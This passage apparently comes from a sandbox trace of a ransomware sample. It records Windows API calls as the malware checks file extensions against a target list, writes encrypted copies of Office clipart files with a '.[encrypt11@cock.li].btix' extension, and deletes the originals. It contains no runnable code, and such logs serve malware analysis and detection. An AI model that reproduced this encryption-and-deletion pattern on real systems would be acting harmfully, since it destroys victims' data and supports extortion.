(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.844] lstrlenW (lpString=".doc") returned 4 [0056.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.844] lstrlenW (lpString=".docx") returned 5 [0056.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.844] lstrlenW (lpString=".pdf") returned 4 [0056.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.844] lstrlenW (lpString=".xls") returned 4 [0056.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.844] lstrlenW (lpString=".xlsx") returned 5 [0056.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.844] lstrlenW (lpString=".ppt") returned 4 [0056.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.844] lstrlenW (lpString=".zip") returned 4 [0056.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.844] lstrlenW (lpString=".rar") returned 4 [0056.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.844] lstrlenW (lpString=".bz2") returned 4 [0056.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.844] lstrlenW (lpString=".7z") returned 3 [0056.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.844] lstrlenW (lpString=".dbf") returned 4 [0056.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.845] lstrlenW (lpString=".1cd") returned 4 [0056.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.845] lstrlenW (lpString=".jpg") returned 4 [0056.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.845] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0056.845] lstrlenW (lpString="BL00045_.WMF") returned 12 [0056.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0056.845] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=7862) returned 1 [0056.845] CloseHandle (hObject=0x328) returned 1 [0056.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0056.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0056.845] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.845] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.846] GetLastError () returned 0x0 [0056.846] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0057.182] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0057.183] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.183] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0057.183] SetEndOfFile (hFile=0x308) returned 1 [0057.183] CloseHandle (hObject=0x308) returned 1 [0057.184] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.184] SetEndOfFile (hFile=0x328) returned 1 [0057.185] CloseHandle (hObject=0x328) returned 1 [0057.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0057.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0057.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0057.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0057.185] lstrlenW (lpString=".doc") returned 4 [0057.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.185] lstrlenW (lpString=".docx") returned 5 [0057.185] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.185] lstrlenW (lpString=".pdf") returned 4 [0057.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.185] lstrlenW (lpString=".xls") returned 4 [0057.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.186] lstrlenW (lpString=".xlsx") returned 5 [0057.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.186] lstrlenW (lpString=".ppt") returned 4 [0057.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0057.186] lstrlenW (lpString=".zip") returned 4 [0057.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.186] lstrlenW (lpString=".rar") returned 4 [0057.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.186] lstrlenW (lpString=".bz2") returned 4 [0057.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.186] lstrlenW (lpString=".7z") returned 3 [0057.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0057.186] lstrlenW (lpString=".dbf") returned 4 [0057.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0057.186] lstrlenW (lpString=".1cd") returned 4 [0057.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0057.186] lstrlenW (lpString=".jpg") returned 4 [0057.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.186] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.187] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.187] GetLastError () returned 0x0 [0057.187] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x27a2, lpOverlapped=0x0) returned 1 [0057.676] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x27b0, lpOverlapped=0x0) returned 1 [0057.683] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.683] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0057.683] SetEndOfFile (hFile=0x308) returned 1 [0057.683] CloseHandle (hObject=0x308) returned 1 [0057.684] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.684] SetEndOfFile (hFile=0x328) returned 1 [0057.685] CloseHandle (hObject=0x328) returned 1 [0057.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0057.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0057.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0057.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0057.686] lstrlenW (lpString=".doc") returned 4 [0057.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.687] lstrlenW (lpString=".docx") returned 5 [0057.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.687] lstrlenW (lpString=".pdf") returned 4 [0057.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.687] lstrlenW (lpString=".xls") returned 4 [0057.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.687] lstrlenW (lpString=".xlsx") returned 5 [0057.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.687] lstrlenW (lpString=".ppt") returned 4 [0057.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0057.687] lstrlenW (lpString=".zip") returned 4 [0057.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.687] lstrlenW (lpString=".rar") returned 4 [0057.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.687] lstrlenW (lpString=".bz2") returned 4 [0057.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.687] lstrlenW (lpString=".7z") returned 3 [0057.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0057.687] lstrlenW (lpString=".dbf") returned 4 [0057.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0057.687] lstrlenW (lpString=".1cd") returned 4 [0057.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0057.688] lstrlenW (lpString=".jpg") returned 4 [0057.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.760] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.760] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0057.770] GetLastError () returned 0x0 [0057.770] ReadFile (in: hFile=0x390, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1f86, lpOverlapped=0x0) returned 1 [0057.886] WriteFile (in: hFile=0x37c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0057.887] ReadFile (in: hFile=0x390, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.887] WriteFile (in: hFile=0x37c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0057.887] SetEndOfFile (hFile=0x37c) returned 1 [0057.887] CloseHandle (hObject=0x37c) returned 1 [0057.888] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.888] SetEndOfFile (hFile=0x390) returned 1 [0057.903] CloseHandle (hObject=0x390) returned 1 [0057.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0057.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0057.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0057.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0057.904] lstrlenW (lpString=".doc") returned 4 [0057.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.904] lstrlenW (lpString=".docx") returned 5 [0057.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.904] lstrlenW (lpString=".pdf") returned 4 [0057.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.904] lstrlenW (lpString=".xls") returned 4 [0057.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.905] lstrlenW (lpString=".xlsx") returned 5 [0057.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.905] lstrlenW (lpString=".ppt") returned 4 [0057.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0057.905] lstrlenW (lpString=".zip") returned 4 [0057.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.905] lstrlenW (lpString=".rar") returned 4 [0057.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.905] lstrlenW (lpString=".bz2") returned 4 [0057.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.905] lstrlenW (lpString=".7z") returned 3 [0057.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0057.905] lstrlenW (lpString=".dbf") returned 4 [0057.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0057.905] lstrlenW (lpString=".1cd") returned 4 [0057.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0057.905] lstrlenW (lpString=".jpg") returned 4 [0057.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.905] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.905] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0057.906] GetLastError () returned 0x0 [0057.906] ReadFile (in: hFile=0x390, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x600, lpOverlapped=0x0) returned 1 [0058.199] WriteFile (in: hFile=0x37c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x610, lpOverlapped=0x0) returned 1 [0058.199] ReadFile (in: hFile=0x390, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.199] WriteFile (in: hFile=0x37c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0058.200] SetEndOfFile (hFile=0x37c) returned 1 [0058.200] CloseHandle (hObject=0x37c) returned 1 [0058.201] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.201] SetEndOfFile (hFile=0x390) returned 1 [0058.202] CloseHandle (hObject=0x390) returned 1 [0058.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0058.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0058.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0058.203] lstrlenW (lpString=".doc") returned 4 [0058.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.203] lstrlenW (lpString=".docx") returned 5 [0058.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.203] lstrlenW (lpString=".pdf") returned 4 [0058.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.203] lstrlenW (lpString=".xls") returned 4 [0058.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.203] lstrlenW (lpString=".xlsx") returned 5 [0058.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.203] lstrlenW (lpString=".ppt") returned 4 [0058.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0058.203] lstrlenW (lpString=".zip") returned 4 [0058.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.203] lstrlenW (lpString=".rar") returned 4 [0058.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.203] lstrlenW (lpString=".bz2") returned 4 [0058.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.203] lstrlenW (lpString=".7z") returned 3 [0058.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0058.203] lstrlenW (lpString=".dbf") returned 4 [0058.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0058.204] lstrlenW (lpString=".1cd") returned 4 [0058.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0058.204] lstrlenW (lpString=".jpg") returned 4 [0058.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.204] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.204] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0058.205] GetLastError () returned 0x0 [0058.205] ReadFile (in: hFile=0x390, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1264, lpOverlapped=0x0) returned 1 [0058.364] WriteFile (in: hFile=0x37c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1270, lpOverlapped=0x0) returned 1 [0058.364] ReadFile (in: hFile=0x390, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.365] WriteFile (in: hFile=0x37c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0058.365] SetEndOfFile (hFile=0x37c) returned 1 [0058.365] CloseHandle (hObject=0x37c) returned 1 [0058.365] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.366] SetEndOfFile (hFile=0x390) returned 1 [0058.367] CloseHandle (hObject=0x390) returned 1 [0058.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0058.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0058.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0058.367] lstrlenW (lpString=".doc") returned 4 [0058.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.367] lstrlenW (lpString=".docx") returned 5 [0058.367] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.367] lstrlenW (lpString=".pdf") returned 4 [0058.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.367] lstrlenW (lpString=".xls") returned 4 [0058.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.368] lstrlenW (lpString=".xlsx") returned 5 [0058.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.368] lstrlenW (lpString=".ppt") 